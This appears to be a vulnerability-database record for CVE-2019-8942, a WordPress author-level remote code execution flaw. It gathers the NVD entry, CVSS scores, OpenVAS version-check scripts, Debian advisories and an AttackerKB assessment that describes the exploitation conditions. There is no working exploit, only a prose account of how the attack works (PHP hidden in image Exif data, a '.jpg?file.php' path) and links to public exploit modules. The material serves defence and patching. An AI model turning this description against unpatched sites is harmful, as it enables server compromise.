ID CVE-2019-8942
Type cve
Reporter cve@mitre.org
Modified 2019-04-25T12:57:00
Description
WordPress before 4.9.9 and 5.x before 5.0.1 allows remote code execution because an _wp_attached_file Post Meta entry can be changed to an arbitrary string, such as one ending with a .jpg?file.php substring. An attacker with author privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif metadata. Exploitation can leverage CVE-2019-8943.
{"id": "CVE-2019-8942", "bulletinFamily": "NVD", "title": "CVE-2019-8942", "description": "WordPress before 4.9.9 and 5.x before 5.0.1 allows remote code execution because an _wp_attached_file Post Meta entry can be changed to an arbitrary string, such as one ending with a .jpg?file.php substring. An attacker with author privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif metadata. Exploitation can leverage CVE-2019-8943.", "published": "2019-02-20T03:29:00", "modified": "2019-04-25T12:57:00", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8942", "reporter": "cve@mitre.org", "references": ["http://www.securityfocus.com/bid/107088", "https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/", "https://wpvulndb.com/vulnerabilities/9222", "https://www.exploit-db.com/exploits/46511/", "http://packetstormsecurity.com/files/152396/WordPress-5.0.0-crop-image-Shell-Upload.html", "http://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce", "https://lists.debian.org/debian-lts-announce/2019/03/msg00044.html", "https://www.exploit-db.com/exploits/46662/", "https://www.debian.org/security/2019/dsa-4401"], "cvelist": ["CVE-2019-8942"], "type": "cve", "lastseen": "2020-12-09T21:41:58", "edition": 7, "viewCount": 67, "enchantments": {"dependencies": {"references": [{"type": "openvas", "idList": ["OPENVAS:1361412562310891742", "OPENVAS:1361412562310142029", "OPENVAS:1361412562310704401", "OPENVAS:1361412562310142030"]}, {"type": "debian", "idList": ["DEBIAN:DLA-1742-1:43231", "DEBIAN:DSA-4401-1:A8F2E"]}, {"type": "attackerkb", "idList": ["AKB:789CFCC3-5972-48E6-A3EE-521D7C07797A"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:152396"]}, {"type": "exploitdb", "idList": ["EDB-ID:46511", "EDB-ID:46662"]}, {"type": "nessus", "idList": ["DEBIAN_DSA-4401.NASL", "DEBIAN_DLA-1742.NASL"]}, {"type": "zdt", "idList": ["1337DAY-ID-32325", "1337DAY-ID-32493"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/MULTI/HTTP/WP_CROP_RCE"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:9222"]}, {"type": "ripstech", "idList": ["RIPSTECH:4E6E47564C61A948E83DA28636C7696E"]}], "modified": "2020-12-09T21:41:58", "rev": 2}, "score": {"value": 5.9, "vector": "NONE", "modified": "2020-12-09T21:41:58", "rev": 2}, "vulnersScore": 5.9}, "cpe": ["cpe:/a:wordpress:wordpress:5.0", "cpe:/o:debian:debian_linux:9.0"], "affectedSoftware": [{"cpeName": "debian:debian_linux", "name": "debian debian linux", "operator": "eq", "version": "9.0"}, {"cpeName": "wordpress:wordpress", "name": "wordpress", "operator": "lt", "version": "4.9.9"}, {"cpeName": "wordpress:wordpress", "name": "wordpress", "operator": "eq", "version": "5.0"}, {"cpeName": "wordpress:wordpress", "name": "wordpress", "operator": "eq", "version": "5.0"}, {"cpeName": "wordpress:wordpress", "name": "wordpress", "operator": "eq", "version": "5.0"}, {"cpeName": "wordpress:wordpress", "name": "wordpress", "operator": "eq", "version": "5.0"}, {"cpeName": "wordpress:wordpress", "name": "wordpress", "operator": "eq", "version": "5.0"}, {"cpeName": "wordpress:wordpress", "name": "wordpress", "operator": "eq", "version": "5.0"}, {"cpeName": "wordpress:wordpress", "name": "wordpress", "operator": "eq", "version": "5.0"}, {"cpeName": "wordpress:wordpress", "name": "wordpress", "operator": "eq", "version": "5.0"}, {"cpeName": "wordpress:wordpress", "name": "wordpress", "operator": "eq", "version": "5.0"}], "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "cpe23": ["cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe:2.3:a:wordpress:wordpress:5.0:beta2:*:*:*:*:*:*", "cpe:2.3:a:wordpress:wordpress:5.0:beta5:*:*:*:*:*:*", "cpe:2.3:a:wordpress:wordpress:5.0:rc3:*:*:*:*:*:*", "cpe:2.3:a:wordpress:wordpress:5.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:wordpress:wordpress:5.0:beta4:*:*:*:*:*:*", "cpe:2.3:a:wordpress:wordpress:5.0:beta3:*:*:*:*:*:*", "cpe:2.3:a:wordpress:wordpress:5.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:wordpress:wordpress:5.0:beta1:*:*:*:*:*:*", "cpe:2.3:a:wordpress:wordpress:5.0:-:*:*:*:*:*:*"], "cwe": ["CWE-94"], "scheme": null, "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:wordpress:wordpress:5.0:rc1:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:wordpress:wordpress:5.0:rc3:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:wordpress:wordpress:5.0:beta4:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:wordpress:wordpress:5.0:beta2:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:wordpress:wordpress:4.9.9:*:*:*:*:*:*:*", "versionEndExcluding": "4.9.9", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:wordpress:wordpress:5.0:rc2:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:wordpress:wordpress:5.0:-:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:wordpress:wordpress:5.0:beta5:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:wordpress:wordpress:5.0:beta1:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:wordpress:wordpress:5.0:beta3:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}, {"cpe_match": [{"cpe23Uri": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}]}}
{"openvas": [{"lastseen": "2019-05-29T18:32:32", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-8943", "CVE-2019-8942"], "description": "WordPress allows remote code execution because an _wp_attached_file Post Meta\nentry can be changed to an arbitrary string, such as one ending with a .jpg?file.php substring. An attacker with\nauthor privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif\nmetadata. Exploitation can leverage CVE-2019-8943.", "modified": "2019-05-17T00:00:00", "published": "2019-02-22T00:00:00", "id": "OPENVAS:1361412562310142030", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310142030", "type": "openvas", "title": "WordPress RCE Vulnerability CVE-2019-8942 (Windows)", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) of the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nCPE = \"cpe:/a:wordpress:wordpress\";\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.142030\");\n script_version(\"2019-05-17T10:45:27+0000\");\n script_tag(name:\"last_modification\", value:\"2019-05-17 10:45:27 +0000 (Fri, 17 May 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-02-22 14:09:13 +0700 (Fri, 22 Feb 2019)\");\n script_tag(name:\"cvss_base\", value:\"6.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n\n script_cve_id(\"CVE-2019-8942\");\n script_bugtraq_id(107088);\n\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_name(\"WordPress RCE Vulnerability CVE-2019-8942 (Windows)\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"This script is Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"secpod_wordpress_detect_900182.nasl\", \"os_detection.nasl\");\n script_mandatory_keys(\"wordpress/installed\", \"Host/runs_windows\");\n\n script_tag(name:\"summary\", value:\"WordPress allows remote code execution because an _wp_attached_file Post Meta\nentry can be changed to an arbitrary string, such as one ending with a .jpg?file.php substring. An attacker with\nauthor privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif\nmetadata. Exploitation can leverage CVE-2019-8943.\");\n\n script_tag(name:\"affected\", value:\"WordPress prior version 4.9.9 and 5.0.1.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n\n script_tag(name:\"solution\", value:\"Update to version 4.9.9, 5.0.1 or later.\");\n\n script_xref(name:\"URL\", value:\"https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif(!infos = get_app_version_and_location(cpe: CPE, port: port, exit_no_version: TRUE)) exit(0);\nversion = infos['version'];\npath = infos['location'];\n\nif (version_is_less(version: version, test_version: \"4.9.9\")) {\n report = report_fixed_ver(installed_version: version, fixed_version: \"4.9.9\", install_path: path);\n security_message(port: port, data: report);\n exit(0);\n}\n\nif (version =~ \"^5\\.\") {\n if (version_is_less(version: version, test_version: \"5.0.1\")) {\n report = report_fixed_ver(installed_version: version, fixed_version: \"5.0.1\", install_path: path);\n security_message(port: port, data: report);\n exit(0);\n }\n}\n\nexit(99);\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:32:32", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-8943", "CVE-2019-8942"], "description": "WordPress allows remote code execution because an _wp_attached_file Post Meta\nentry can be changed to an arbitrary string, such as one ending with a .jpg?file.php substring. An attacker with\nauthor privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif\nmetadata. Exploitation can leverage CVE-2019-8943.", "modified": "2019-05-17T00:00:00", "published": "2019-02-22T00:00:00", "id": "OPENVAS:1361412562310142029", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310142029", "type": "openvas", "title": "WordPress RCE Vulnerability CVE-2019-8942 (Linux)", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) of the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nCPE = \"cpe:/a:wordpress:wordpress\";\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.142029\");\n script_version(\"2019-05-17T10:45:27+0000\");\n script_tag(name:\"last_modification\", value:\"2019-05-17 10:45:27 +0000 (Fri, 17 May 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-02-22 13:59:06 +0700 (Fri, 22 Feb 2019)\");\n script_tag(name:\"cvss_base\", value:\"6.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n\n script_cve_id(\"CVE-2019-8942\");\n script_bugtraq_id(107088);\n\n script_tag(name:\"qod_type\", value:\"remote_banner_unreliable\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_name(\"WordPress RCE Vulnerability CVE-2019-8942 (Linux)\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"This script is Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"secpod_wordpress_detect_900182.nasl\", \"os_detection.nasl\");\n script_mandatory_keys(\"wordpress/installed\", \"Host/runs_unixoide\");\n\n script_tag(name:\"summary\", value:\"WordPress allows remote code execution because an _wp_attached_file Post Meta\nentry can be changed to an arbitrary string, such as one ending with a .jpg?file.php substring. An attacker with\nauthor privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif\nmetadata. Exploitation can leverage CVE-2019-8943.\");\n\n script_tag(name:\"affected\", value:\"WordPress prior version 4.9.9 and 5.0.1.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n\n script_tag(name:\"solution\", value:\"Update to version 4.9.9, 5.0.1 or later.\");\n\n script_xref(name:\"URL\", value:\"https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif(!infos = get_app_version_and_location(cpe: CPE, port: port, exit_no_version: TRUE)) exit(0);\nversion = infos['version'];\npath = infos['location'];\n\nif (version_is_less(version: version, test_version: \"4.9.9\")) {\n report = report_fixed_ver(installed_version: version, fixed_version: \"4.9.9\", install_path: path);\n security_message(port: port, data: report);\n exit(0);\n}\n\nif (version =~ \"^5\\.\") {\n if (version_is_less(version: version, test_version: \"5.0.1\")) {\n report = report_fixed_ver(installed_version: version, fixed_version: \"5.0.1\", install_path: path);\n security_message(port: port, data: report);\n exit(0);\n }\n}\n\nexit(99);\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-01-29T19:30:13", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-8942", "CVE-2019-9787"], "description": "The remote host is missing an update for the ", "modified": "2020-01-29T00:00:00", "published": "2019-04-02T00:00:00", "id": "OPENVAS:1361412562310891742", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310891742", "type": "openvas", "title": "Debian LTS: Security Advisory for wordpress (DLA-1742-1)", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.891742\");\n script_version(\"2020-01-29T08:22:52+0000\");\n script_cve_id(\"CVE-2019-8942\", \"CVE-2019-9787\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-01-29 08:22:52 +0000 (Wed, 29 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2019-04-02 20:00:00 +0000 (Tue, 02 Apr 2019)\");\n script_name(\"Debian LTS: Security Advisory for wordpress (DLA-1742-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB8\");\n\n script_xref(name:\"URL\", value:\"https://lists.debian.org/debian-lts-announce/2019/03/msg00044.html\");\n script_xref(name:\"URL\", value:\"https://security-tracker.debian.org/tracker/DLA-1742-1\");\n script_xref(name:\"URL\", value:\"https://bugs.debian.org/924546\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'wordpress'\n package(s) announced via the DLA-1742-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Simon Scannell of Ripstech Technologies discovered multiple\nvulnerabilities in wordpress, a web blogging manager.\n\nCVE-2019-8942\n\nremote code execution in wordpress because an _wp_attached_file Post\nMeta entry can be changed to an arbitrary string, such as one ending\nwith a .jpg?file.php substring. An attacker with author privileges\ncan execute arbitrary code by uploading a crafted image containing\nPHP code in the Exif metadata.\n\nCVE-2019-9787\n\nwordpress does not properly filter comment content, leading to\nRemote Code Execution by unauthenticated users in a default\nconfiguration. This occurs because CSRF protection is mishandled,\nand because Search Engine Optimization of A elements is performed\nincorrectly, leading to XSS. The XSS results in administrative\naccess.\");\n\n script_tag(name:\"affected\", value:\"'wordpress' package(s) on Debian Linux.\");\n\n script_tag(name:\"solution\", value:\"For Debian 8 'Jessie', these problems have been fixed in version\n4.1.26+dfsg-1+deb8u1.\n\nWe recommend that you upgrade your wordpress packages.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"wordpress\", ver:\"4.1.26+dfsg-1+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"wordpress-l10n\", ver:\"4.1.26+dfsg-1+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"wordpress-theme-twentyfifteen\", ver:\"4.1.26+dfsg-1+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"wordpress-theme-twentyfourteen\", ver:\"4.1.26+dfsg-1+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"wordpress-theme-twentythirteen\", ver:\"4.1.26+dfsg-1+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}\n\nexit(0);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-07-04T18:46:13", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-8942", "CVE-2018-20149", "CVE-2018-20152", "CVE-2018-20153", "CVE-2018-20151", "CVE-2018-20150", "CVE-2018-20148", "CVE-2018-20147"], "description": "Several vulnerabilities were discovered in Wordpress, a web blogging\ntool. They allowed remote attackers to perform various Cross-Side\nScripting (XSS) and PHP injections attacks, delete files, leak\npotentially sensitive data, create posts of unauthorized types, or\ncause denial-of-service by application crash.", "modified": "2019-07-04T00:00:00", "published": "2019-03-01T00:00:00", "id": "OPENVAS:1361412562310704401", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310704401", "type": "openvas", "title": "Debian Security Advisory DSA 4401-1 (wordpress - security update)", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.704401\");\n script_version(\"2019-07-04T09:25:28+0000\");\n script_cve_id(\"CVE-2018-20147\", \"CVE-2018-20148\", \"CVE-2018-20149\", \"CVE-2018-20150\", \"CVE-2018-20151\",\n \"CVE-2018-20152\", \"CVE-2018-20153\", \"CVE-2019-8942\");\n script_name(\"Debian Security Advisory DSA 4401-1 (wordpress - security update)\");\n script_tag(name:\"last_modification\", value:\"2019-07-04 09:25:28 +0000 (Thu, 04 Jul 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-03-01 00:00:00 +0100 (Fri, 01 Mar 2019)\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n script_xref(name:\"URL\", value:\"https://www.debian.org/security/2019/dsa-4401.html\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB9\");\n script_tag(name:\"affected\", value:\"wordpress on Debian Linux\");\n script_tag(name:\"solution\", value:\"For the stable distribution (stretch), these problems have been fixed in\nversion 4.7.5+dfsg-2+deb9u5.\n\nWe recommend that you upgrade your wordpress packages.\");\n\n script_xref(name:\"URL\", value:\"https://security-tracker.debian.org/tracker/wordpress\");\n script_tag(name:\"summary\", value:\"Several vulnerabilities were discovered in Wordpress, a web blogging\ntool. They allowed remote attackers to perform various Cross-Side\nScripting (XSS) and PHP injections attacks, delete files, leak\npotentially sensitive data, create posts of unauthorized types, or\ncause denial-of-service by application crash.\");\n script_tag(name:\"vuldetect\", value:\"This check tests the installed software version using the apt package manager.\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"wordpress\", ver:\"4.7.5+dfsg-2+deb9u5\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"wordpress-l10n\", ver:\"4.7.5+dfsg-2+deb9u5\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"wordpress-theme-twentyfifteen\", ver:\"4.7.5+dfsg-2+deb9u5\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"wordpress-theme-twentyseventeen\", ver:\"4.7.5+dfsg-2+deb9u5\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"wordpress-theme-twentysixteen\", ver:\"4.7.5+dfsg-2+deb9u5\", rls:\"DEB9\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99);\n}", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "debian": [{"lastseen": "2020-08-12T00:51:16", "bulletinFamily": "unix", "cvelist": ["CVE-2019-8942", "CVE-2019-9787"], "description": "Package : wordpress\nVersion : 4.1.26+dfsg-1+deb8u1\nCVE ID : CVE-2019-8942 CVE-2019-9787\nDebian Bug : 924546\n\n\nSimon Scannell of Ripstech Technologies discovered multiple\nvulnerabilities in wordpress, a web blogging manager.\n\nCVE-2019-8942\n\n remote code execution in wordpress because an _wp_attached_file Post\n Meta entry can be changed to an arbitrary string, such as one ending\n with a .jpg?file.php substring. An attacker with author privileges\n can execute arbitrary code by uploading a crafted image containing\n PHP code in the Exif metadata.\n\nCVE-2019-9787\n\n wordpress does not properly filter comment content, leading to\n Remote Code Execution by unauthenticated users in a default\n configuration. This occurs because CSRF protection is mishandled,\n and because Search Engine Optimization of A elements is performed\n incorrectly, leading to XSS. The XSS results in administrative\n access.\n\nFor Debian 8 "Jessie", these problems have been fixed in version\n4.1.26+dfsg-1+deb8u1.\n\nWe recommend that you upgrade your wordpress packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\n", "edition": 8, "modified": "2019-03-31T19:30:33", "published": "2019-03-31T19:30:33", "id": "DEBIAN:DLA-1742-1:43231", "href": "https://lists.debian.org/debian-lts-announce/2019/debian-lts-announce-201903/msg00044.html", "title": "[SECURITY] [DLA 1742-1] wordpress security update", "type": "debian", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-08-12T00:59:56", "bulletinFamily": "unix", "cvelist": ["CVE-2019-8942", "CVE-2018-20149", "CVE-2018-20152", "CVE-2018-20153", "CVE-2018-20151", "CVE-2018-20150", "CVE-2018-20148", "CVE-2018-20147"], "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4401-1 security@debian.org\nhttps://www.debian.org/security/ Sebastien Delafond\nMarch 01, 2019 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : wordpress\nCVE ID : CVE-2018-20147 CVE-2018-20148 CVE-2018-20149 CVE-2018-20150 \n CVE-2018-20151 CVE-2018-20152 CVE-2018-20153 CVE-2019-8942\nDebian Bug : 916403\n\nSeveral vulnerabilities were discovered in Wordpress, a web blogging\ntool. They allowed remote attackers to perform various Cross-Side\nScripting (XSS) and PHP injections attacks, delete files, leak\npotentially sensitive data, create posts of unauthorized types, or\ncause denial-of-service by application crash.\n\nFor the stable distribution (stretch), these problems have been fixed in\nversion 4.7.5+dfsg-2+deb9u5.\n\nWe recommend that you upgrade your wordpress packages.\n\nFor the detailed security status of wordpress please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/wordpress\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n", "edition": 8, "modified": "2019-03-01T07:03:46", "published": "2019-03-01T07:03:46", "id": "DEBIAN:DSA-4401-1:A8F2E", "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2019/msg00044.html", "title": "[SECURITY] [DSA 4401-1] wordpress security update", "type": "debian", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "attackerkb": [{"lastseen": "2020-11-18T06:47:53", "bulletinFamily": "info", "cvelist": ["CVE-2019-8942", "CVE-2019-8943"], "description": "Exploiting a local file inclusion vulnerability and directory traversal vulnerability in Wordpress versions `5.0.0` and prior to `v4.9.9` can result in RCE.\n\n \n**Recent assessments:** \n \n**space-r7** at May 09, 2019 5:57pm UTC reported:\n\n## Details\n\nThis exploit requires authentication and either the `php-imagick` or `php-gd` extension to be installed. Exploiting this vulnerability with only \nthe `php-gd` extension installed will require more work when crafting the JPEG because the `php-gd` extension compresses the image and strips it of \nits exif metadata. This is still a valuable exploit due to the large user base of the application.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 2\n", "modified": "2020-02-13T00:00:00", "published": "2019-02-20T00:00:00", "id": "AKB:789CFCC3-5972-48E6-A3EE-521D7C07797A", "href": "https://attackerkb.com/topics/RtAdbzXGk1/wordpress-post-meta-entry-rce", "type": "attackerkb", "title": "Wordpress Post Meta Entry RCE", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2021-01-12T09:40:34", "description": "Simon Scannell of Ripstech Technologies discovered multiple\nvulnerabilities in wordpress, a web blogging manager.\n\nCVE-2019-8942\n\nremote code execution in wordpress because an _wp_attached_file Post\nMeta entry can be changed to an arbitrary string, such as one ending\nwith a .jpg?file.php substring. An attacker with author privileges can\nexecute arbitrary code by uploading a crafted image containing PHP\ncode in the Exif 